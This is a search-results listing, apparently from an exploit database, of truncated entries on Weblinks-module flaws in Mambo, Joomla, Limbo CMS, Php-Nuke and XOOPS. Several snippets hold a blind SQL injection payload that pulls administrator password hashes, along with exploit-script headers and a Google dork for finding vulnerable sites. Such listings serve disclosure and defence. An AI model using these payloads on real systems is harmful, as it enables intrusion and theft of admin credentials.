158 matches found
Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)
Mambo 4.6rc1 - Weblinks Blind SQL Injection 1 !/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super...
Joomla <= 1.0.9 (Weblinks) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Joomla = 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit benchmark vesion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; if $argc5...
Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)
!/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super Administrator'/ in mambo.txt we have: 13 Query SELE...
Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ====================================================== Mambo mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM...
Joomla <= 1.0.9 (Weblinks) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================= Joomla = 1.0.9 Weblinks Remote Blind SQL Injection Exploit ============================================================= !/usr/bin/php -q -d shortopentag=on ? echo "Joomla = 1.0...
Joomla! 1.0.9 - Weblinks Blind SQL Injection
Joomla! 1.0.9 - Weblinks Blind SQL Injection !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$stri...
Sql injection
SQL injection vulnerability in the weblinks option weblinks.html.php in Limbo CMS allows remote attackers to execute arbitrary SQL commands via the catid parameter...
CVE-2006-2363
SQL injection vulnerability in the weblinks option weblinks.html.php in Limbo CMS allows remote attackers to execute arbitrary SQL commands via the catid parameter...
CVE-2006-2363
SQL injection vulnerability in the weblinks option weblinks.html.php in Limbo CMS allows remote attackers to execute arbitrary SQL commands via the catid parameter...
limboCMS.txt
i Limbo CMS option=weblinks sql injection exploit i Cyber-Security.ORG | Security Advisory | Security Edithor by SnoB | Turkish hacking | security! Usage: ?host=hostname&path=limbopath&id=userid Exemple: ?host=127.0.0.1&path=/limbo&id=1 g Google: inurl:"index2.php?option=rss" OR "powered By Limbo...
Limbo CMS (option=weblinks) SQL injection exploit
pre i Limbo CMS option=weblinks sql injection exploit i Cyber-Security.ORG | Security Advisory | Security Edithor by SnoB | Turkish hacking | security! ?php if !isset$GET'host' || !isset$GET'path' || !isset$GET'id' ? Usage: ?echo htmlentities$PHPSELF??host=hostname&path=limbopath&id=userid Exempl...
XOOPS viewtopic.php Cross Site Scripting Vulnerability
The remote web server contains a PHP script that is prone to cross- site scripting attacks. SPDX-FileCopyrightText: 2004 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only C...
CVE-2004-2019
The WebLinks module in Php-Nuke 6.x through 7.3 allows remote attackers to obtain sensitive information via an invalid show parameter, which displays the full path in a PHP error message...
CVE-2004-2019
The CVE-2004-2019 entry concerns the WebLinks module of Php-Nuke 6.x–7.3. The vulnerability arises from an invalid show parameter in the WebLinks module, which allows remote attackers to obtain sensitive information by triggering a PHP error that reveals the full filesystem path. Affected softwar...
CVE-2004-2019: Undefined Security Weakness
The WebLinks module in Php-Nuke 6.x through 7.3 allows remote attackers to obtain sensitive information via an invalid show parameter, which displays the full path in a PHP error message...
PHP-Nuke 7.4 WebLinks SQL-Injection
Version: 7.4 Module: WebLinks function: TopRated //...... function TopRated$ratenum, $ratetype //........ if $ratenum != "" && $ratetype != "" $toplinks = $ratenum; //........... $result = $db-sqlquery"SELECT lid, cid, sid, title, description, date, hits, linkratingsummary, totalvotes,...
CVE-2004-2019
The WebLinks module in Php-Nuke 6.x through 7.3 allows remote attackers to obtain sensitive information via an invalid show parameter, which displays the full path in a PHP error message...
[Full-Disclosure] XSS vulnerability in XOOPS 2.0.5.1
==================================================================== Advisory by Eye On Security Research Group - India www.eos-india.net ==================================================================== 1...............................................................Product...